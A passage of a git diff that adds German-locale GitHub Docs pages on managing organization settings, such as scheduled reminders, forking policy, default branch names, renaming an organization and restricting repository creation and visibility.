+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke im Abschnitt „Zugriff“ auf der Randleiste auf **{% octicon "report" aria-label="The report icon" %} Moderation**.
+1. Klicke unter „{% octicon "report" aria-label="The report icon" %} Moderation“ auf **Grenzwerte für Code Reviews**.
+![Screenshot des Randleistenelements für Grenzwerte für Code Reviews in Organisationen](/assets/images/help/organizations/code-review-limits-organizations.png)
+1. Überprüfe die Informationen auf dem Bildschirm. Klicke auf **Reviews für alle Repositorys einschränken**, um Reviews auf Personen mit expliziten Zugriff zu beschränken, oder klicke auf **Grenzwerte für Reviews aus allen Repositorys entfernen**, um die Grenzwerte aus allen öffentlichen Repositorys in deiner Organisation zu entfernen.
+![Screenshot der Einstellungen für Grenzwerte für Code Reviews in Organisationen](/assets/images/help/organizations/code-review-limits-organizations-settings.png)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md
new file mode 100644
index 0000000000..5a76769b75
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md
@@ -0,0 +1,42 @@
+---
+title: Geplante Erinnerungen für Deine Organisation verwalten
+intro: 'Du kannst in Slack Erinnerungen für alle Pull Requests erhalten, für die Teams in deiner Organisation zum Review angefordert wurden.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage scheduled reminders
+ms.openlocfilehash: 870e22581488689a72cc70f317b6d97fdc4f5ed5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125714'
+---
+## Über geplante Erinnerungen für Pull Requests
+
+{% data reusables.reminders.about-scheduled-reminders-teams-orgs %}
+
+Organisationsinhaber können Erinnerungen für eines oder mehrere Teams in ihrer Organisation planen, für alle Pull Requests, für welche ein Team oder Teams zum Review angefordert wurde(n).
+
+{% data reusables.reminders.scheduled-reminders-limitations %}
+
+## Eine geplante Erinnerung für eine Organisation erstellen
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.slack-channel %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} {% data reusables.reminders.tracked-repos %}
+1.  Klicke unter „Nach für Code Review zugewiesenem Team filtern“ auf das Dropdownmenü **Team hinzufügen**, und wähle mindestens ein Team aus. Du kannst bis zu 100 Teams auswählen. Wenn das ausgewählte Team keinen Zugriff auf die oben ausgewählten "Tracked Repositories" (verfolgte Repositorys) hat, kannst Du die geplante Erinnerung nicht erstellen.
+![Hinzufügen eines Team-Dropdownmenüs](/assets/images/help/organizations/scheduled-reminders-add-teams.png) {% data reusables.reminders.ignore-drafts %} {% data reusables.reminders.no-review-requests %} {% data reusables.reminders.author-reviews %} {% data reusables.reminders.approved-prs %} {% data reusables.reminders.min-age %} {% data reusables.reminders.min-staleness %} {% data reusables.reminders.ignored-terms %} {% data reusables.reminders.ignored-labels %} {% data reusables.reminders.required-labels %} {% data reusables.reminders.create-reminder %}
+
+## Geplante Erinnerungen für eine Organisation verwalten
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.edit-existing %} {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %}
+
+## Geplante Erinnerungen für eine Organisation löschen
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.delete %}
+
+## Weiterführende Themen
+
+- [Verwalten deiner geplanten Erinnerungen](/github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders)
+- [Verwalten geplanter Erinnerungen für dein Team](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md
new file mode 100644
index 0000000000..25ed41ec30
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md
@@ -0,0 +1,26 @@
+---
+title: Managing the commit signoff policy for your organization
+intro: 'You can require users to automatically sign off all commits they make in {% data variables.product.product_name %}''s web interface to repositories owned by your organization.'
+versions:
+  feature: commit-signoffs
+permissions: Organization owners can require all commits to repositories owned by the organization be signed off by the commit author.
+topics:
+  - Organizations
+shortTitle: Manage the commit signoff policy
+---
+
+## About commit signoffs
+
+To affirm that a commit complies with the rules and licensing governing a repository, many organizations require developers to sign off on every commit. If your organization requires commit signoffs, you can make signing off a seamless part of the commit process by enabling compulsory commit signoffs for users committing through {% data variables.product.product_name %}'s web interface. After you enable compulsory commit signoffs for an organization, every commit made to repositories in that organization through {% data variables.product.product_name %}'s web interface will automatically be signed off on by the commit author.
+
+People with admin access to a repository can also enable compulsory commit signoffs at the repository level. For more information, see "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)."
+
+{% data reusables.repositories.commit-signoffs %}
+
+## Managing compulsory commit signoffs for your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.repository-defaults %}
+1. Select or deselect **Require contributors to sign off on web-based commits**.
+  ![Screenshot of Require contributors to sign off on web-based commits](/assets/images/help/organizations/require-signoffs.png)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
new file mode 100644
index 0000000000..b181ccd22b
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
@@ -0,0 +1,40 @@
+---
+title: Managing the default branch name for repositories in your organization
+intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.location.product_location %}.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization
+permissions: Organization owners can manage the default branch name for new repositories in the organization.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage default branch name
+---
+
+## About management of the default branch name
+
+When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+
+{% data reusables.branches.change-default-branch %}
+
+If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+
+## Setting the default branch name
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.repository-defaults %}
+3. Under "Repository default branch", click **Change default branch name now**.
+    ![Override button](/assets/images/help/organizations/repo-default-name-button.png)
+4. Type the default name that you would like to use for new branches.
+    ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png)
+5. Click **Update**.
+    ![Update button](/assets/images/help/organizations/repo-default-name-update.png)
+
+## Further reading
+
+- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md
new file mode 100644
index 0000000000..62e9a65405
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md
@@ -0,0 +1,33 @@
+---
+title: Managing the display of member names in your organization
+intro: You can allow members of your organization to see a comment author's profile name in private repositories in the organization.
+product: '{% data reusables.gated-features.display-names %}'
+redirect_from:
+  - /articles/managing-the-display-of-member-names-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-the-display-of-member-names-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage display of member names
+---
+
+Organization owners can manage the display of member names in an organization.
+
+![Commenter's profile name displayed in comment](/assets/images/help/issues/commenter-full-name.png)
+
+Changes to the display of usernames within an organization will affect the display of other people's usernames, not your own. Each organization member chooses their own profile name in their settings. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#changing-your-profile-name)."
+
+{% ifversion profile-name-enterprise-setting %}
+You may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories)."{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Admin repository permissions", select or unselect **Allow members to see comment author's profile name in private repositories**.
+![Checkbox to allow members to see comment author's full name in private repositories](/assets/images/help/organizations/allow-members-to-view-full-names.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
new file mode 100644
index 0000000000..dd8c5100cd
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
@@ -0,0 +1,44 @@
+---
+title: Managing the forking policy for your organization
+intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.'
+redirect_from:
+  - /articles/allowing-people-to-fork-private-repositories-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-the-forking-policy-for-your-organization
+permissions: Organization owners can manage the forking policy for an organization.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage forking policy
+---
+
+By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories.
+
+If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)."
+
+{% ifversion org-owners-limit-forks-creation %}
+{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.profile.org_member_privileges %}
+1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**.
+
+   {%- ifversion fpt %}
+   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png)
+   {%- elsif ghes or ghec or ghae %}
+   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png)
+   {%- endif %}{% ifversion org-owners-limit-forks-creation %}
+2. Optionally, if forking is enabled, you can specify where users are allowed to fork repositories. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. Review the information about changing the setting and choose a policy.
+   ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/org-repository-forking-policy-settings.png){%- endif %}
+3. Click **Save**.
+
+## Further reading
+
+- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md
new file mode 100644
index 0000000000..a9a4d1196a
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md
@@ -0,0 +1,47 @@
+---
+title: Managing the publication of GitHub Pages sites for your organization
+intro: 'You can control whether organization members can publish {% data variables.product.prodname_pages %} sites from repositories in the organization{% ifversion ghec %} and restrict the visibilities that members can choose for the sites{% endif %}.'
+permissions: 'Organization owners can manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization.'
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/disabling-publication-of-github-pages-sites-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-the-publication-of-github-pages-sites-for-your-organization
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage Pages site publication
+---
+
+{% ifversion fpt %}
+You can choose to allow or disallow organization members from publishing {% data variables.product.prodname_pages %} sites. Organizations that use {% data variables.product.prodname_ghe_cloud %} can also choose to allow publicly published sites, privately published sites, both, or neither. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization).
+{% elsif ghec %}
+You can choose to allow organization members to create publicly published sites, privately published sites, both, or neither. For more information about access control for {% data variables.product.prodname_pages %} sites, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
+{% endif %}
+
+If you disallow publication of {% data variables.product.prodname_pages %} sites, any sites that are already published will remain published. You can manually unpublish the site. For more information, see "[Unpublishing a {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}{% ifversion fpt %}
+1. Under "Pages creation, select or deselect **Public**.
+
+   ![Checkboxes to allow or disallow creation of {% data variables.product.prodname_pages %} sites](/assets/images/help/organizations/github-pages-creation-checkboxes-fpt.png){% elsif ghec %}
+1. Under "Pages creation", select the visibilities you want to allow and deselect the visibilities you want to disallow.
+
+   ![Checkboxes to allow or disallow creation of {% data variables.product.prodname_pages %} sites](/assets/images/help/organizations/github-pages-creation-checkboxes.png){% else %}
+1. Under "Pages creation", select or deselect **Allow members to publish sites**.
+
+   ![Unselected checkbox for "Allow members to publish sites" option](/assets/images/help/organizations/org-settings-pages-disable-publication-checkbox.png){% endif %}{% ifversion fpt or ghec %}
+
+   {% indented_data_reference reusables.pages.privately-publish-ghec-only spaces=3%}{% endif %}
+
+1. Click **Save**.
+
+## Further reading
+
+- "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md
new file mode 100644
index 0000000000..ac8437f510
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md
@@ -0,0 +1,35 @@
+---
+title: 'Verwalten von Updates aus Konten, die von deiner Organisation gesponsert werden'
+intro: 'Du kannst die E-Mail-Adresse verwalten, die Updates von den Konten erhält, welche von deiner Organisation gesponsert werden.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-updates-from-accounts-your-organization-sponsors
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: Organization owners can manage updates from accounts the organization sponsors.
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage sponsorship updates
+ms.openlocfilehash: 8023a4673a45a7afdf5351854fcfcc8a29f0b1fe
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106243'
+---
+{% data reusables.sponsors.org-sponsors-release-phase %}
+
+Die Entwickler und Organisationen, die von deiner Organisation gesponsert werden, können dir Updates zu ihrer Arbeit senden. Du kannst die E-Mail-Adresse verwalten, an der diese Updates empfangen werden.
+
+Du kannst auch Updates von Konten deaktivieren, die von deiner Organisation gesponsert werden. Weitere Informationen findest du unter [Verwalten deines Sponsorings](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship#managing-email-updates-for-your-sponsorship).
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Gib unter „Update-E-Mail für Sponsoren (privat)“ die E-Mail-Adresse ein, an der Updates von Konten empfangen werden sollen, die von deiner Organisation gesponsert werden.
+    ![Textfeld zur Eingabe der E-Mail-Adresse, an der Updates von gesponserten Konten empfangen werden sollen](/assets/images/help/sponsors/organization-update-email-textbox.png)
+1. Klicke auf **Profil aktualisieren**.
+    ![Schaltfläche „Profil aktualisieren“](/assets/images/help/organizations/update-profile-button.png)
+
+## Weitere Informationsquellen
+
+- [{% data variables.product.prodname_sponsors %}](/sponsors)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/renaming-an-organization.md
new file mode 100644
index 0000000000..8097fcfe99
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/renaming-an-organization.md
@@ -0,0 +1,55 @@
+---
+title: Organisation umbenennen
+intro: 'Wenn sich der Name deines Projekts oder deines Unternehmens geändert hat, kannst du den Namen deiner Organisation entsprechend anpassen.'
+redirect_from:
+  - /articles/what-happens-when-i-change-my-organization-s-name
+  - /articles/renaming-an-organization
+  - /github/setting-up-and-managing-organizations-and-teams/renaming-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: 088094a03e2416b4da0e3011978ab5e9edd316b2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106220'
+---
+{% tip %}
+
+**Tipp**: Nur Organisationsbesitzer können eine Organisation umbenennen. {% data reusables.organizations.new-org-permissions-more-info %}
+
+{% endtip %}
+
+## Was geschieht, wenn ich den Namen meiner Organisation ändere?
+
+Nach der Änderung Deines Organisationsnamens wird Dein alter Organisationsname frei, und jemand anders kann diesen Namen für sich beanspruchen. Die meisten Referenzen auf Deine Repositorys unter dem alten Organisationsnamen werden nach einer Änderung Deines Organisationsnamens automatisch dem neuen Namen angepasst. Einige Links auf Dein Profil werden jedoch nicht automatisch weitergeleitet.
+
+### Automatische Änderungen
+
+- {% data variables.product.prodname_dotcom %} leitet Referenzen auf Ihre Repositorys automatisch weiter.  Weblinks zu vorhandenen **Repositorys** deiner Organisation funktionieren weiterhin. Allerdings kann diese Anpassung nach der Veranlassung der Änderung einige Minuten dauern.
+- Du kannst Deine lokalen Repositorys weiterhin mittels Push auf die bisherige Remote-Tracking-URL übertragen, ohne diese zu aktualisieren. Jedoch wird nach einer Änderung des Organisationsnamens die Aktualiserung der URLs aller vorhandenen Remote-Repositorys empfohlen. Schließlich kann Dein alter Organisationsname nach dessen Änderung von jemand anderem verwendet werden, und es ist durchaus möglich, dass Repositorys einer neuen Organisation mit gleichem Namen die Weiterleitungseinträge für Deine Repositorys überschreiben. Weitere Informationen findest du unter [Verwalten von Remoterepositorys](/github/getting-started-with-github/managing-remote-repositories).
+- Bisherige Git-Commits werden den Benutzern Deiner Organisation korrekt zugeordnet.
+
+### Änderungen, die nicht automatisch erfolgen
+
+Nach der Änderung Deines Organisationsnamens können folgende Probleme auftreten:
+- Links zu deiner vorherigen Organisationsprofilseite, z. B. `https://{% data variables.command_line.backticks %}/previousorgname`, geben einen 404-Fehler zurück. Es empfiehlt sich, Links zu deiner Organisation von anderen Websites{% ifversion fpt or ghec %}, wie z. B. deinen Profilen in LinkedIn oder Twitter,{% endif %} zu aktualisieren.
+- API-Anforderungen mit dem alten Organisationsnamen geben einen 404-Fehler zurück. Wir empfehlen Dir die Aktualisierung Deines alten Organisationsnamens in Deinen API-Anforderungen.
+- Es gibt keine automatischen [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)-Weiterleitungen für Teams, die den alten Namen der Organisation verwenden.{% ifversion ghec %}
+- Wenn SAML-SSO (Single Sign-On) für die Organisation aktiviert ist, musst du den Organisationsnamen in der Anwendung für {% data variables.product.prodname_ghe_cloud %} bei deinem Identitätsanbieter (Identity Provider, IdP) aktualisieren. Wenn du den Organisationsnamen bei deinem IdP nicht aktualisierst, können Mitglieder der Organisation sich nicht mehr bei deinem IDP authentifizieren, um auf die Ressourcen der Organisation zuzugreifen. Weitere Informationen findest du unter [Verbinden deines Identitätsanbieters mit deiner Organisation](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization).{% endif %}
+
+## Namen Deiner Organisation ändern
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+4. Klicke im unteren Bereich der Einstellungsseite unter „Organisation umbenennen“ auf **Organisation umbenennen**.
+  ![Schaltfläche „Organisation umbenennen“](/assets/images/help/settings/settings-rename-organization.png)
+
+## Weiterführende Themen
+
+* [Warum sind meine Commits mit dem falschen Benutzer verknüpft?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
new file mode 100644
index 0000000000..5c3a4f8519
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
@@ -0,0 +1,53 @@
+---
+title: Restricting repository creation in your organization
+intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.'
+redirect_from:
+  - /articles/restricting-repository-creation-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Restrict repository creation
+---
+
+You can choose whether members can create repositories in your organization. {% ifversion ghec or ghes or ghae %}If you allow members to create repositories, you can choose which types of repositories members can create.{% elsif fpt %}If you allow members to create repositories, you can choose whether members can create both public and private repositories or public repositories only.{% endif %} Organization owners can always create any type of repository.
+
+{% ifversion fpt %} 
+Organizations using {% data variables.product.prodname_ghe_cloud %} can also restrict members to creating private repositories only. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization).
+{% endif %}
+
+{% ifversion ghec or ghae or ghes %}
+Enterprise owners can restrict the options you have available for your organization's repository creation policy. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)."
+{% endif %}
+
+{% warning %}
+
+**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+
+{% endwarning %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Repository creation", select one or more options.
+
+   {%- ifversion ghes or ghec or ghae %}
+   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
+   {%- elsif fpt %}
+   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
+   {%- endif %}
+   
+   {% ifversion fpt or ghec %}
+   {% note %}
+
+   **Note:** To restrict members to creating private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+
+   {% endnote %}
+   {%- endif %}
+
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md
new file mode 100644
index 0000000000..f0044d1770
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md
@@ -0,0 +1,34 @@
+---
+title: Restricting repository visibility changes in your organization
+intro: 'To protect your organization''s data, you can configure permissions for changing repository visibility in your organization.'
+redirect_from:
+  - /articles/restricting-repository-visibility-changes-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-visibility-changes-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Set visibility changes policy
+permissions: Organization owners can restrict repository visibility changes for an organization.
+---
+
+You can restrict who has the ability to change the visibility of repositories in your organization, such as changing a repository from private to public. For more information about repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." 
+
+You can restrict the ability to change repository visibility to organization owners only, or you can allow anyone with admin access to a repository to change visibility.
+
+{% warning %}
+
+**Warning**: If enabled, this setting allows people with admin access to choose any visibility for an existing repository, even if you do not allow that type of repository to be created. For more information about restricting the visibility of repositories during creation, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)."
+
+{% endwarning %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Repository visibility change", deselect **Allow members to change repository visibilities for this organization**.
+![Checkbox to allow members to change repository visibility](/assets/images/help/organizations/disallow-members-to-change-repo-visibility.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
new file mode 100644
index 0000000000..43c2116721
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
@@ -0,0 +1,37 @@
+---
+title: Setting permissions for adding outside collaborators
+intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can configure who can add outside collaborators to organization repositories.'
+redirect_from:
+  - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories
+  - /articles/setting-permissions-for-adding-outside-collaborators
+  - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-adding-outside-collaborators
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Set collaborator policy
+---
+
+By default, anyone with admin access to a repository can invite outside collaborators to work on the repository. You can choose to restrict the ability to add outside collaborators to organization owners only.
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** Only organizations that use {% data variables.product.prodname_ghe_cloud %} can restrict the ability to invite outside collaborators to organization owners. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+{% endif %}
+
+{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise]{% ifversion ghec %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)"{% else %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories){% endif %}."
+
+{% data reusables.organizations.outside-collaborators-use-seats %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Repository outside collaborators", deselect **Allow repository administrators to invite outside collaborators to repositories for this organization**.
+  ![Checkbox to allow repository administrators to invite outside collaborators to organization repositories](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
new file mode 100644
index 0000000000..5309271e6e
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
@@ -0,0 +1,26 @@
+---
